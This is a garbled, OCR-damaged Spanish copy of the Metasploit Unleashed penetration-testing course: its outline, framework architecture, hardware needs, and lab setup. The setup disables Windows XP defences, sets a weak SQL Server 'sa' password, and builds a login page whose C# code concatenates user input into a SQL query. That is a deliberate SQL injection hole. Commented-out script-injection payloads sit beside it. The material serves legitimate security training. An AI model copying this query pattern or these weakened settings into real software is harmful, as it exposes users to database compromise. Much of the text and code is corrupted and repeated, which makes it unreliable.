Professional Documents
Culture Documents
de
Offensive-Securitty
ndice
- Acerca de los Autores
- Donacin para la lucha contra el hamre del !rupo "F# $"ackers para la caridad%
- &ntroduccin
- Ar'uitectura de Metasploit Framework
o Archivos de sistema y libreras
o Mdulos y Locaciones
o Metasploit Object Model
o Mixins y Plugins
- Materiales (ecesarios
o Reuisitos de !ad"are
o Metasploitable
o #indo"s $P %P& y sub-ndices
- Fundamentos de Metasploit
o ms'cli
o ms'"eb
o ms'console
o (xploits
o Payloads
o Meterpreter
- )ecopilacin de &nformacin
o )radis *rame"or+
o ,on'iguracin de -ases de )atos
o (scaneo de Puertos
o Plugins Auxiliares
o ,a.ar M%%/L
o %ervicios de 0denti'icacin
o Pass"ord %ni''ing
o %1MP %"eeping
o ,rear nuestros escaners tcp
- An*lisis de +ulnerailidad
o %M- login chec+
o Autenticacin 21,
o Abrir $33
o (scaner #MAP "eb
o 4rabajar con 1e$pose
o 4rabajar con 1essus
o 5sando la -ase de )atos en M%*
- ,scriir un simple Fu--er
o %imple *u..er 4*4P
o %imple *u..er 0MAP
- Desarrollo de ,.ploits
o )ise6o de (xploits
o *ormato de los exploits
o Mixims (xploits
o (xploits 4argets
o Payloads exploits
o (scribir un exploit
o 5sando el (gg!unter mixim
o %hellcode Al'anum7rica
o (xplotando Puertos
- ,.ploits /ado del #liente$ client-side %
o Payloads -inarios
o -ypass Antivirus
o 4royanos binarios para Linux
o 0n'eccin 8ava Applet
o Ataues Lado ,liente
o M7todos de 0n'eccin 2-%cript
- Despu0s de la e.plotacin
o (scalar Privilegios con Metasploit
o P%exec pass the hash
o Administracin de registros de eventos
o )ivirti7ndonos con incognito
o 0nteractuando con el registro
o Activacin de (scritorio Remoto
o Pauetes de %ni''ers con meterpreter
o Pivoteos
o 4imestomp
o ,aptura de Pantalla
o -9sueda de contenido
o 8ohn the Ripper
- Meterpreter Scriptin!
o %cripts existentes
o (scribir scripts de meterpreter
o Per.onali.ar scritps
o 5so de llamadas AP0
o 5so de 'unciones
- Matenimiento del acceso
o :eylogging
o %ervicio persistente de meterpreter
o %ervicio de bac+door de meterpreter
- 1so e.tendido de MSF
o Meterpreter P!P
o -ac+dooring a los archivos ;exe
o -uscador Autop"n
o :armetasploit
o M%* vs O% $
o ,argar los -ac+doors
o ,reacin de modulos de Metasploit
- Mas all* de Metasploit
o Armitage
o %ocial- (ngineering-4olt+it %(4
o *ast-4rac+
- )eferencia de Mdulos
o Mdulos Auxiliares
o Post Mdulos
Acerca de los autores
Estas son las personas que dedicaron su tiempo y esfuerzo en hacer posible este curso. Todos los
involucrados se siente que esto es por una buena causa, y queran utilizar su experiencia para ayudar a
brindar a la causa, y la comunidad. Si desea obtener informacin un poco ms sobre estas personas,
este es el luar para comenzar.
Todos apreciamos su inter!s en este curso, y espero que sus donaciones a "#$, para hacer del mundo
un poco me%or.
&ati 'haroni
(illiam $oppola
)evon *earns
)avid *ennedy
&atteo &emelli
&ax &oser
+im ,-.orman
)avid ,vitz
$arlos /erez
2oder de Metasploit
Esta formacin en seuridad libre es trado a usted en un esfuerzo de la comunidad para promover la
concienciacin y recaudar fondos para los ni0os ms desfavorecidos en el este de 1frica. ' trav!s de un
esfuerzo conmovedor por varios profesionales de la seuridad, estamos orullosos de presentar el curso
abierto ms completo y profundo sobre el &etasploit #rame2or3.
,sta es la versin !ratuita en l3nea del curso4 Si te !usta y lo encuentre 5til6 le
pedimos 'ue ha!a una donacin a los "F# $hackers para #aridad%6 7688
dlares a alimentar a un ni9o durante un mes6 por lo 'ue cual'uier
contriucin es ienvenida4 ,speramos 'ue disfrute de este curso tanto como
nosotros disfrutamos haci0ndolo4
S4 )ESE'S /5E)ES 6E'748'6 T5 ),9'T4:, E9 ESTE E97'$E, ES /,6 59' ;5E9'
$'5S' '&4.,S E9 ES/E$4'7 ' T,),S 7,S <5E TE9E&,S E9 95EST6, /'4S $'S,S
$,9 )ES95T64$4,9 $6,94$'.
http=>>222.offensive?security.com>metasploit?unleashed>)onate@"ere
"ac3ers for $harity
"ac3ers for $harity #ood /roram
A):1&T,#T1)A D, M,TAS2/O&T
&ntroduccin
;Si yo tuviera ocho horas para cortar un *rol6 me !ustar3a pasar los
primeros seis de ellos afilando mi hacha4;
A<)A"AM /&(#O(
Este dicho me ha seuido durante muchos a0os, y es un recordatorio constante para m que abordar un
problema con el con%unto adecuado de herramientas es imprescindible para el !xito. Entonces, Aqu!
esta apertura filosfica semi tienen que ver con el #rame2or3 de &etasploitB 'ntes de acercarse a una
prueba de penetracin o de una auditora, yo me encaro de Cafilar mis herramientasC y actualizar todo
lo actualizable en ;ac3Trac3. Esto incluye una reaccin de cadena corta, que siempre comienza con un
mensa%e Csvn updateC del #rame2or3 de &etasploit.
$onsidero que la &S# a ser una de las herramientas de auditora ms Dtil a libre disposicin de los
profesionales de la seuridad hoy en da. ' partir de una amplia ama de comerciales exploit de rado
y un entorno de desarrollo de explotacin extensiva, hasta llear a las herramientas de red de recoida
de informacin y pluins 2eb vulnerabilidad. &etasploit #rame2or3 proporciona un entorno de traba%o
realmente impresionante. El &S# es mucho ms que una coleccin de exploits, es una infraestructura
que puede aprovechar y utilizar para sus necesidades personalizadas. Esto le permite concentrarse en su
ambiente Dnico, y no tener que reinventar la rueda.
Este curso se ha escrito de manera que abarque no slo el front?end Cdel usuarioC aspectos de la
estructura, sino que le dar una introduccin a las capacidades que ofrece &etasploit. 9uestro ob%etivo
es dar una mirada en profundidad en las muchas caractersticas de la &S#, y le dar la habilidad y la
confianza necesaria para utilizar esta herramienta asombrosa su capacidad mxima.
Tena en cuenta que la &S# est en constante evolucin, y sospecho que por el momento este curso
viene a la luz, se han producido muchos cambios y adiciones en el proyecto. "aremos lo posible para
mantener este curso al da con todas las caractersticas nuevas y emocionantes &etasploit medida que
se arean.
5n rado de conocimiento previo se espera y exie de los estudiantes antes de que el contenido
proporcionado en este curso sern de utilidad. Si usted encuentra que no estn familiarizados con un
determinado tema, se recomienda pasar el tiempo dedicados a la investiacin propia sobre el problema
antes de intentar el mdulo. 9o hay nada ms satisfactorio que la solucin de problemas por s mismo,
por lo que recomendamos encarecidamente que esforzarse ms.
Filesystem and /iraries
Archivos de sistema y lirer3as
El sistema de ficheros de &S# se presenta de una manera intuitiva y est oranizado por el directorio.
< Lib= >M(A4> de la base de cdigo de *rame"or+
< Los datos= archivos editables utili.ado por Metasploit
< !erramientas= diversos 9tiles de lnea de comandos utilidades
< Mdulos= Los mdulos de la actual M%*
< Plugins= los plugins ue se pueden cargar en tiempo de ejecucin
< %cripts= Meterpreter y otros scripts
< (xterna= el cdigo 'uente y las bibliotecas de terceros
;4;74,TE$'S
)e.
< La biblioteca b?sica para la mayora de las tareas
< (l manejo de cuencas@ los protocolos@ las trans'ormaciones de texto@ y otros
< %%L@ %M-@ !44P@ $OR@ -aseAB@ 5nicode
MSF== #ore
< Proporciona el >b?sico> de la AP0
< )e'ine el *rame"or+ de Metasploit
MSF== <ase
< Proporciona el >amistoso> de la AP0
< Proporciona AP0 simpli'icada para su uso en el C*rame"or+< *RAM(#OR:D
Mdulos y uicaciones
&etasploit, tal como se presenta para el usuario, se compone de mdulos.
,.ploits
< %e de'ine como los mdulos ue utili.an payloads
< 5na vulnerabilidad sin una capacidad de payload es un mdulo auxiliar
2ayloads6 codificadores6 nops
< Los Payloads consisten en cdigo ue se ejecuta de 'orma remota
< ,odi'icadores asegurar ue los Payloads llegan a su destino
< 1ops mantener los tama6os de los payloads constante;
1icacin de mdulos
>rol del mdulo principal
< 5bicado a menos de E instalacin F modules F F
Especificado por el usuario del mdulo de rboles
< %ituado en G F ;ms'HFmodules F F
< (s un lugar ideal para los conjuntos de mdulo privado
$arando rboles adicionales en tiempo de e%ecucin
< Pasar la opcin-m cuando se ejecuta ms'console Cms'console-mD
< 5tilice el comando loadpath en ms'console
Metasploit O?ect Model
O?eto de modelo de Metasploit
En el #rame2or3 de &etasploit, todos los mdulos son las clases de 6uby.
< Mdulos de heredar de la clase de tipo espec'ico
< (l tipo espec'ico hereda la clase de la M%*== Mdulo de clase
< !ay una AP0 com9n y compartido entre los mdulos
/ayloads son lieramente diferentes.
< Las Payloads son creados durante la ejecucin de varios componentes
< Aglutinar con etapas stagers
Mi.ins y 2lu!ins
1na derivacin r*pida a )uy4
< ,ada clase tiene un sola 'amilia
< 5na clase puede incluir varios mdulos
< Los mdulos se pueden a6adir nuevos m7todos
< Los mdulos pueden sobrecargar los m7todos antiguos
< Los mdulos Metasploit heredar M%*== Mdulo e incluyen mixins para agregar 'unciones;
Metasploit Mi.ins
Mixins son, sencillamente, la razn por la cual las rocas Ruby.
< Mixins >incluir> una clase en otra
< (sto es di'erente y similar a la herencia
< Mixins pueden reempla.ar los m7todos de una clase
Mixins puede aadir nuevas funciones y permite a los mdulos tienen diferentes "sabores".
< Protocolo espec'ico Cpor ejemplo= !44P@ %M-D
< ,omportamiento espec'ico Ces decir= la 'uer.a brutaD
< ,onnect CD es implementado por el mixin 4,P
< ,onnect CD entonces se sobrecarga a trav7s de *4P@ %M-@ y otros;
Mixins puede cambiar el comportamiento.
< (l esc?ner mixin sobrecargas run CD
%canner < cambios run CD para runIhost CD y runIrange CD
< %e llama a estos en paralelo basado en el ajuste 4!R(A)%
< La 'uer.a bruta es similar mixin
class MyParent
def woof
puts woof!
end
end
class MyClass < MyParent
end
object = MyClass.new
object.woof() => woof!
================================================================
module MyM!n
def woof
puts "jac#ed t"e woof met"od!
end
end
class My$etterClass < MyClass
nclude MyM!n
end
Metasploit 2lu!ins
2lu!ins traa?ar directamente con el A2&4
< (llos manipulan el *rame"or+ en su conjunto
< Plugins gancho en el subsistema de eventos
< %e automati.an las tareas espec'icas ue sera tedioso hacerlo manualmente
2lu!ins slo funcionan en la msfconsole4
< Los plugins pueden a6adir nuevos comandos de la consola
< %e extiende la 'uncionalidad de *rame"or+ general
Materiales necesarios
9o debera ser ninuna sorpresa que la mayora de los exploits disponibles en el #rame2or3 de
&etasploit se dirien en contra de &icrosoft (indo2s, as que para completar las sesiones supuesto
que se requiere un sistema ob%etivo para atacar. Este sistema debe consistir en una mquina virtual se
e%ecuta en su eleccin de sistema operativo del host.
&ientras que :&2are $onverter y :&2are /layer son ClibresC, que tendr que reistrarse para las
descaras. Sin embaro, la virtualizacin de aplicaciones y dispositivos estn bien vale la pena el
reistro si no eres un miembro actual. 5sted tambi!n puede usar :&2are (or3station o de otras
implementaciones de infraestructura virtual.
Este curso fue creado utilizando la Dltima versin svn tronco del &etasploit #rame2or3, que, en el
momento de escribir este artculo es la versin E.F.G?dev. Si usted est usando de nuevo H I pistas como
su plataforma, siempre se puede actualizar a la Dltima versin del tronco mediante la emisin de la
CmsfupdateC de comandos.
)e'uisitos de hardware
'ntes de sumerirse en el maravilloso mundo del &etasploit #rame2or3 es necesario para aseurar
que nuestro hard2are se cumplen o exceden ciertos requisitos antes de proceder. Esto ayudar a
eliminar muchos problemas antes de que sur%an ms adelante en este documento.
Todos los valores se estiman o se recomienda. 5sted puede conseuir le%os con menos, aunque el
rendimiento se resentir.
'lunos de los requisitos de hard2are que se deben considerar son=
< (spacio en disco duro
< La memoria disponible
< ,apacidades de procesadores
< 0nter F 0ntra-net
,spacio en disco duro
Este ser el obstculo ms impuestos para superar. Sea creativo, si es posible que tena alunas
limitaciones de espacio de almacenamiento. Este proceso puede consumir casi JG iabytes de espacio
de almacenamiento, por lo que estar prevenido. Esto sinifica que no puede utilizar una particin
#'TEJ, ya que no es compatible con archivos de ran tama0o. Eli%a 9T#S, extE o alDn otro formato.
7a cantidad recomendada de espacio que se necesita es de IG iabytes.
%&''''''' ()(M$ **+', fle s+e on ds#
%&''''''' ()(M$ **+'- fle s+e on ds#
%&''''''' ()(M$ **+'& fle s+e on ds#
%&''''''' ()(M$ **+'. fle s+e on ds#
%&''''''' ()(M$ **+'/ fle s+e on ds#
-%-%)-(0/ -('M$ **+p fle s+e on ds#
total 11111111
&%.'M$ **2otal space before decompresson and e!tracton
/)/)/'(.&- /%''M$ **3!tracted ma4e fle s+e on ds#
-'.',').(/( ,)./(M$ **Per Con5erted 67CC 8M on ds#
total 11111111
-00)(M$
0/0))&./)- 0,)-M$ **9ptonal $ac#trac# :;<3=2: >77 ?e@urementAs
total 11111111
&%'00M$
,-&-)''). ,,-M$ **8Mware1con5erter1..'.,1,(,.&..tar.4+
&%%.0%&(' &('M$ **8Mware Con5erter nstalled on ds#
,','%/%&( )%M$ **8Mware1Player1-./.&1,0/.'..&0(.bundle
,/%-0(.'' ,/'M$ **8Mware Player Bnstalled on ds#
total 11111111
&%0'%M$ **=ee "ow fast t 4ets consumed!
Si usted decide producir clones o instantneas a medida que avanza en este curso, estos tambi!n ocupan
un valioso espacio en el sistema. Estar atentos y no tener miedo de reclamar el espacio seDn sea
necesario.
memoria disponile
Sin el suministro de suficiente memoria en su servidor y sistemas operativos invitados que el tiempo
puede causar un fallo del sistema. <ue van a requerir de 6'& para su sistema operativo anfitrin, as
como la cantidad equivalente de 6'& que est dedicando a cada mquina virtual. 5se la siuiente ua
para ayudarle a decidir la cantidad de memoria 6'& necesaria para su situacin.
Cnu! :>9=2: Mnmal Memory ?e@urementAs
,;$ of system memory (?DM)
?ealstcally -;$ or more
Per Endows :;<3=2: Mnmal Memory ?e@urementAs
Dt least -/( me4abytes (M$) of ?DM (,;$ s recommended) ** more ne5er "urts!
?ealstcally ,;$ or more wt" a =EDP fle of e@ual 5alue
(9ptonal) $ac#trac# :;<3=2: Mnmal Memory ?e@urementAs
D2 least /,- me4abytes (M$) of ?DM (,;$ s recommended) ** more ne5er "urts!
?ealstcally ,;$ or more wt" a =EDP fle of e@ual 5alue
procesador
7a velocidad del procesador es siempre un problema con el hard2are de fecha a pesar de hard2are
antiuo puede ser utilizado en otras modas para servir a un propsito mayor. El requisito de los
mnimos de :&2are /layer es un procesador de IGG &"z o ms rpido KLGG &"z recomendadoM. 7os
caballos de fuerza ms que usted puede lanzar en !l, por supuesto, me%or.
Accesiilidad a &nternet
Esto se puede solucionar con un cable $'TL de su router > s2itch > hub. Si no hay un servidor )"$/
en la red tendr que asinar direcciones 4/ estticas a su invitado de :&. 5na conexin de red
inalmbrica puede funcionar tan bien como un cable Ethernet, sin embaro, la deradacin de la se0al
con la distancia, a trav!s de ob%etos, estructuras y limitar seriamente su conectividad.
Metasploitale
5no de los problemas que encuentre al aprender a usar un #rame2or3 de explotacin est tratando de
confiurar los ob%etivos de exploracin y ataque. /or suerte, el equipo de &etasploit es consciente de
ello y lanz una mquina virtual :&2are vulnerable llamada C&etasploitable. Esta mquina virtual
tiene una serie de servicios vulnerables y los paquetes instalados para que usted pueda perfeccionar sus
habilidades en metasploit frame2or3.
7a mquina virtual se e%ecuta en cualquier reciente producto de :&2are y est confiurado con un
disco que no es persistente por lo que cualquier posible da0o que hacen al sistema se revertir en el
reinicio. /ara ms informacin sobre &etasploitable, se puede leer el blo de introduccin a
http=@@www4metasploit4com@e.press@community y descar!ar el archivo torrent de
http=@@www4metasploit4com@e.press@community4
5na vez que haya descarado la mquina virtual, extraia el archivo zip, abre el archivo vmx uso de su
producto :&2are de la eleccin, y el poder sobre ella. )espu!s de un breve tiempo, el sistema ser
arrancado y listo para la accin.
/ara ms informacin sobre la confiuracin de mquina virtual, hay un archivo readme.txt pero ten
cuidado ... hay spoilers en el mismo.
/a confi!uracin de su Aindows B2 S2C
$on el fin de obtener el mayor beneficio de la informacin de este curso, va a requerir el acceso a una
instalacin de (indo2s N/ Service /ac3 J para probar en contra. Es muy recomendable que confiure
una mquina virtual con un producto como el :irtual;ox, :irtual/$, o la libre circulacin de :&2are
Server.Si sucede que no tiene un $) de (inN/ vie%o por ah, usted puede tratar de descarar la imaen
del 94ST. Si elie este camino, tendr que eliminar todos los parches que estn instalados en la
mquina virtual.
#ederal )es3top $ore $onfiuration K#)$$M
/a M*'uina de "acer B2 vulnerales
O. :aya al /anel de control y seleccione C$ambiar a :ista clsicaC en el lado izquierdo.
J. 'bra C(indo2s #ire2allC y convertirlo en C,ffC.
E. 'bierto C'ctualizaciones automticasC y seleccione C)esactivar 'ctualizaciones automticasC por
lo que (indo2s no puede deshacer nuestros cambios para nosotros.
I. 'bierta C$entro de seuridadC, seleccione C$ambiar la forma en $entro de seuridad me alertaC en
el lado izquierdo y anular la seleccin de todas las casillas de verificacin. Esto desactivar el molesto
sistema de bande%a de notificaciones emerentes.
L. 6etroceder en el /anel de control, abra C'rear o quitar proramasC. Seleccione la opcin
C&ostrar actualizacionesC casilla de verificacin en la parte superior. Se mostrar todo el soft2are y las
actualizaciones de seuridad que se han instalado.
P. Sin embaro, en el panel de control, desde la barra de herramientas, seleccione C"erramientasC,
lueo C,pciones de carpetaC. Seleccione la pesta0a C:erC y desplcese hasta llear a la parte inferior.
'seDrese de que desmarcar la casilla %unto a C5tilizar uso compartido simple de archivosC y haa clic
en C'ceptarC.
#onfi!uracin de los servicios adicionales
' fin de proporcionar una superficie de ataque ms rande para los distintos componentes de
&etasploit, vamos a habilitar e instalar alunos servicios adicionales dentro de nuestra mquina virtual
(indo2s. Tena en cuenta que se requiere la instalacin de (indo2s N/ $) o iso para instalar
servicios adicionales en la mquina virtual.
Servicios de 4nternet 4nformation Server K44SM y Simple 9et2or3 &anaement /rotocol KS9&/M
/ara comenzar, vaya al /anel de control y abra C'rear o quitar proramasC. Seleccione C'rear >
quitar componentes de (indo2sC en el lado izquierdo.
Seleccione la opcin CServicios de 4nternet 4nformation Server K44SMC y haa clic en C)etallesC.
Seleccione la opcin C#ile Transfer /rotocol K#T/M de servicioC y haa clic en C'ceptarC. /or defecto,
el servicio #T/ de 44S instalado permite conexiones annimas.
/or Dltimo, seleccione la opcin C"erramientas de administracin y supervisinC y haa clic en
C)etallesC. 'seDrese de que ambas opciones estn seleccionadas y haa clic en C'ceptarC. $uando
todo est listo, haa clic en CSiuienteC para continuar con la instalacin de 44S y S9&/.
"ay un problema con el. 9ET #rame2or3 instalado en la mquina virtual de 94ST, pero es fcil de
solucionar. En el /anel de control, seleccione C'rear o quitar proramasC, seleccione C&icrosoft.
9ET #rame2or3 J.G Service /ac3 OC, y haa clic en C$ambiarC.
5na ventana de proreso aparecer una barra de proreso se mostrar y se va a cerrar. Este
comportamiento es normal y ahora puede salir del /anel de control y proceder.
S:/ Server C88D ,.press
Tambi!n vamos a realizar una instalacin de ratuito de &icrosoft S<7 Server JGGL Express. Esto nos
permitir utilizar alunos de los diferentes mdulos de S<7 en &etasploit. En primer luar, descarar
la versin con empaquetado no servicio de S<7 Server Express
Tena en cuenta que si usted est utilizando su propia costumbre?construido :& para este curso, usted
tendr que instalar (indo2s 4nstaller E.O y la J.G. 9et #rame2or3 para poder instalar S<7 Express.
(indo2s 4nstaller E.O
. 9ET #rame2or3 J.G
$uando el instalador haya terminado la descara, podemos e%ecutarlo y seleccionar todos los valores
predeterminados, excepto para Cel modo de autenticacinC. Seleccione C&ixed &odeC, un con%unto de
CsaC contrase0a Cpass2ordOC, y lueo continuar con el resto de la instalacin.
S:/ Server C88D ,.press
Tambi!n vamos a realizar una instalacin ratuito de &icrosoft S<7 Server JGGL Express. Esto nos
permitir utilizar alunos de los diferentes mdulos de S<7 en &etasploit. En primer luar, descarar
la versin con empaquetado no servicio de S<7 Server Express
Tena en cuenta que si usted est utilizando su propia costumbre?construido :& para este curso, usted
tendr que instalar (indo2s 4nstaller E.O y la J.G. 9et #rame2or3 para poder instalar S<7 Express.
(indo2s 4nstaller E.O
. 9ET #rame2or3 J.G
$uando el instalador haya terminado la descara, podemos e%ecutarlo y seleccionar todos los valores
predeterminados, excepto para Cel modo de autenticacinC. Seleccione C&ixed &odeC, un con%unto de
CsaC contrase0a Cpass2ordOC, y lueo continuar con el resto de la instalacin.
5na vez completada la instalacin, ser necesario para que sea accesible en nuestra red. "aa clic en
C4nicioC ?Q CTodos los proramasC ?Q C&icrosoft S<7 Server JGGLC ?Q C"erramientas de
confiuracinC ?Q CS<7 Server $onfiuration &anaerC. $uando se inicia el 'dministrador de
confiuracin, seleccione CS<7 Server JGGLC, haa clic en CS<7 Server KS<7 EN/6ESSMC y
seleccione CStopC. ' continuacin, expanda CS<7 Server JGGL $onfiuracin de redC y seleccione
C/rotocolos de S<7EN/6ESSC.
"aa doble clic en CT$/ > 4/C, cambie CEnabledC a CSC, y el cambio C7istenC y C9oC en el C/rotocoloC
ficha.
' continuacin, seleccione la opcin C)irecciones 4/C ficha, y elimine las entradas en C4/'llC. En C4/OC
y C4/JC, eliminar todos los valores de Cpuertos dinmicosC. 'mbos 4/O y 4/J debe tener CactivoC y
ChabilitadoC en CSC. /or Dltimo, el con%unto de la 4/O Cdireccin 4/C a su direccin local y establecer la
direccin 4/J a OJF.G.G.O. Su confiuracin debe ser similar a la siuiente imaen. "aa clic en
C'ceptarC cuando todo est confiurado correctamente.
' continuacin, vamos a habilitar el servicio S<7 Server ;ro2ser. Seleccione CS<7 Server JGGLC y
haa doble clic en CS<7 Server ;ro2serC. En el CServicioC ficha, establezca el C&odo de inicioC en
C'utomticoC y haa clic en C'ceptarC.
)e manera predeterminada, el servidor S<7 se e%ecuta ba%o una cuenta de privileios limitados, lo que
rompe un montn de aplicaciones (eb personalizadas. :amos a cambiar esto haciendo doble clic en
CS<7 Server KS<7EN/6ESSMC y se establece que inicie sesin como el incorporado en la cuenta
Csistema localC. Esto tambi!n se puede confiurar mediante la e%ecucin de Cservices.mscC. "aa clic
en C'ceptarC cuando haya terminado.
$on todo, finalmente confiurado, haa clic en CS<7 Server KS<7 EN/6ESSMC y seleccione CStartC.
"aa lo mismo con el CExplorador de S<7 ServerC de servicios. 'hora puede salir del 'dministrador
de confiuracin y compruebe que los servicios estn escuchando correctamente mediante la e%ecucin
de Cnetstat?anoC a partir de una lnea de comandos. 5sted debera ver el puerto 5)/ OIEI auditiva, as
como su direccin 4/ de red escucha en el puerto OIEE.
#reacin de una aplicacin we vulnerale
$on el fin de crear nuestra aplicacin 2eb vulnerable, tendr que descarar Server &anaement Studio
Express.
4nstale S<7 Server &anaement Studio Express, la aceptacin de todos los valores predeterminados
para la instalacin lueo e%ecutarlo a trav!s de C4nicioC ?Q CTodos los proramasC ?Q C&icrosoft S<7
Server JGGLC ?Q CS<7 Server &anaement Studio ExpressC.
$uando se inicia &anaement Studio, seleccione Cautenticacin de S<7 ServerC y la conexin con el
nombre de usuario CsaC y la contrase0a de Cpass2ordOC.
"aa clic en Cbases de datosC en el CExplorador de ob%etosC y seleccione C9ueva base de datosC.
Enter Caplicacin 2ebC para el nombre de base de datos y haa clic en C'ceptarC. En el CExplorador de
ob%etosC, expanda C;ases de datosC, y ampliar la Caplicacin 2ebC base de datos. "aa clic en CtablasC
y seleccionar C9ueva tablaC.
$rear una nueva tabla llamada CusuariosC con los nombres de columna y tipos, como se muestra a
continuacin.
.uardar los CusuariosC de T';7' pulse el botn derecho y seleccionar C'brir mesaRT';7'C.
4ntroduzca en alunos datos de la muestra en la tabla y uardar todo su traba%o.
En el principal CExplorador de ob%etosC de rbol, expanda CSeuridadC, lueo C$onexionesC. "aa clic
en C$onexionesC y seleccione C9uevo inicio de sesinC.
En el C4nicio de sesin ? 9uevoC, seleccione C;uscarC, escriba CaspnetC y haa clic en C$omprobar
nombresC. "aa clic en C'ceptarC, sino mantener el C4nicio de sesin ? 9uevoC ventana abierta.
"aa clic en /ropiedades de 'S/9ET, y arantizar que, en correlacin de usuario de la cuenta de
usuario db@o2ner y los derechos del pDblico a la base de datos de aplicacin 2eb.
' continuacin, tenemos que crear nuestra pina 2eb para interactuar con la base de datos bac3?end
que hemos creado. 4niciar ;loc de notas y peue el siuiente cdio en un nuevo documento. .uarda
este archivo como =
;#= E &netpu E wwwroot E Default4asp.;4
<FG Pa4e Can4ua4e=:CH: Duto35entEreup=:true: 8aldate?e@uest=:false:
Code6le=:7efault.asp!.cs: Bn"erts=:I7efault: F>
<F11t"e 8aldate?e@uest=:true: n t"e pa4e drect5e wll c"ec# for <scrpt> and
ot"er potentally dan4erous nputs11F>
<!79C2JP3 "tml P<$CBC :1**E&C**727 K>2MC ,.' 2ranstonal**3L:
:"ttpM**www.w&.or4*2?*!"tml,*727*!"tml,1transtonal.dtd:>
<"tml !mlns=:"ttpM**www.w&.or4*,)))*!"tml: >
<"ead runat=:ser5er:>
<*"ead>
<body b4color=:w"te:>
<form d=:form,: runat=:ser5er:>
<d5>
<font color=:blac#:><",>Co4n Pa4e<*",><*font>
<aspMCabel B7=:lbl3rrorMessa4e: 6ont1=+e=:Car4er: 6oreColor=:red: 8sble=:false:
runat=:ser5er: *>
<font color=:blac#:>
<aspMPanel B7=:pnlCo4n: 8sble=:true: runat=:ser5er:>
<aspM2able B7=:tblCo4n: runat=:ser5er:>
<aspM2able?ow>
<aspM2ableCell>
<aspMCteral 2e!t=:Co4nM: runat=:ser5er: *>
<*aspM2ableCell>
<aspM2ableCell>
<aspM2e!t$o! B7=:t!tCo4n: wdt"=:-'': $ac#Color=:w"te: 6oreColor=:blac#:
runat=:ser5er: *>
<*aspM2ableCell>
<*aspM2able?ow>
<aspM2able?ow>
<aspM2ableCell>
<aspMCteral B7=:ltrlPassword: 2e!t=:Password: runat=:ser5er: *>
<*aspM2ableCell>
<aspM2ableCell>
<aspM2e!t$o! B7=:t!tPassword: wdt"=:-'': 2e!tMode=:password: $ac#Color=:w"te:
6oreColor=:blac#: runat=:ser5er: *>
<*aspM2ableCell>
<*aspM2able?ow>
<aspM2able?ow>
<aspM2ableCell Column=pan=:-: >or+ontalDl4n=:center:>
<aspM$utton B7=:btn=ubmt: $orderColor=:w"te: $ac#Color=:w"te: 6oreColor=:blac#:
2e!t=:Co4n: 9nClc#=:btn=ubmtIClc#ed: runat=:ser5er: *>
<br *><*aspM2ableCell>
<*aspM2able?ow>
<*aspM2able>
<"/>Please dont "ac# t"s ste M1(
<*aspMPanel>
<aspMPanel B7=:pnlC"atter$o!: 8sble=:false: runat=:ser5er:>
Jou "a+ lo44ed n! M1)
<*aspMPanel>
<*font>
<*d5>
<*form>
<*body>
<*"tml>
$rear otro documento que contena el siuiente cdio y urdelo como=
;#= E &netpu E wwwroot E Default4asp.4cs;4
usn4 =ystemN
usn4 =ystem.7ataN
usn4 =ystem.7ata.=@lClentN
usn4 =ystem.Conf4uratonN
usn4 =ystem.EebN
usn4 =ystem.Eeb.=ecurtyN
usn4 =ystem.Eeb.<BN
usn4 =ystem.Eeb.<B.EebControlsN
usn4 =ystem.Eeb.<B.EebControls.EebPartsN
usn4 =ystem.Eeb.<B.>tmlControlsN
publc partal class I7efault M =ystem.Eeb.<B.Pa4e
O
protected =@lConnecton objConn = new
=@lConnecton(Conf4uratonMana4er.Connecton=trn4sP:test:Q.2o=trn4())N
protected strn4 s@l = ::N
protected 5od Pa4eICoad(object senderR 35entDr4s e)
O
f((?e@uest.Suery=trn4P:lo4n:Q != null) TT
(?e@uest.Suery=trn4P:password:Q != null))
O
?esponse.Erte(?e@uest.Suery=trn4P:lo4n:Q.2o=trn4() U :<$?><$?><$?>: U
?e@uest.Suery=trn4P:password:Q.2o=trn4())N
s@l = :=3C3C2 frstIname U A A U lastIname U A A U mddleIname 6?9M users E>3?3
username = A: U ?e@uest.Suery=trn4P:lo4n:Q U :A : U
:DL7 password = A: U ?e@uest.Suery=trn4P:password:Q U :A:N
Co4n()N
V
V
publc 5od btn=ubmtIClc#ed(object oR 35entDr4s e)
O
lbl3rrorMessa4e.2e!t = ::N
lbl3rrorMessa4e.8sble = falseN
f (t!tCo4n.2e!t == ::)
O
lbl3rrorMessa4e.2e!t = :Mssn4 lo4n name!<br *>:N
lbl3rrorMessa4e.8sble = trueN
V
else
O
f (t!tPassword.2e!t == ::)
O
lbl3rrorMessa4e.2e!t = :Mssn4 password!<br *>:N
lbl3rrorMessa4e.8sble = trueN
V
else
O
s@l = :=3C3C2 frstIname U A A U lastIname U A A U mddleIname 6?9M users E>3?3
username = A: U t!tCo4n.2e!t U :A : U
:DL7 password = A: U t!tPassword.2e!t U :A:N
Co4n()N
V
V
V
pr5ate 5od Co4n()
O
**correct s@l strn4 usn4 s@l parameters.
**strn4 s@l = :=3C3C2 frstIname U A A U lastIname 6?9M users E>3?3 username =
Gt!tCo4n : U
** :DL7 password = Gt!tPassword:N
=@lCommand cmd = new =@lCommand(s@lR objConn)N
**eac" parameter needs added for eac" user nputted 5alue...
**to ta#e t"e nput lterally and not brea# out wt" malcous nput....
**cmd.Parameters.DddEt"8alue(:Gt!tCo4n:R t!tCo4n.2e!t)N
**cmd.Parameters.DddEt"8alue(:Gt!tPassword:R t!tPassword.2e!t)N
objConn.9pen()N
f (cmd.3!ecute=calar() != 7$Lull.8alue)
O
f (Con5ert.2o=trn4(cmd.3!ecute=calar()) != ::)
O
lbl3rrorMessa4e.2e!t = :=ucessfully lo44ed n!:N
lbl3rrorMessa4e.8sble = trueN
pnlCo4n.8sble = falseN
pnlC"atter$o!.8sble = trueN
V
else
O
lbl3rrorMessa4e.2e!t = :Bn5ald Co4n!:N
lbl3rrorMessa4e.8sble = trueN
V
V
else
O
lbl3rrorMessa4e.2e!t = :Bn5ald <sername*:N
lbl3rrorMessa4e.8sble = trueN
V
objConn.Close()N
V
**<style type=:te!t*css:>2D$C3 OdsplayM none !mportantNV<*style> **remo5e tables
totally.
**<style type=:te!t*css:>bodyObac#4round1colorM HffffffNV<*style> **c"an4e
bac#4round color
**<style type=:te!t*css:>d5 OdsplayM none !mportantNV<*style> **remo5e all
d5sR blan# out pa4e
**<scrpt>alert(:"ello:)N<*scrpt>
**<meta "ttp1e@u5=:refres": content=:'N url="ttpM**www.4oo4le.com: *>
V
/or Dltimo, crear un archivo que contena lo siuiente y uardarlo como=
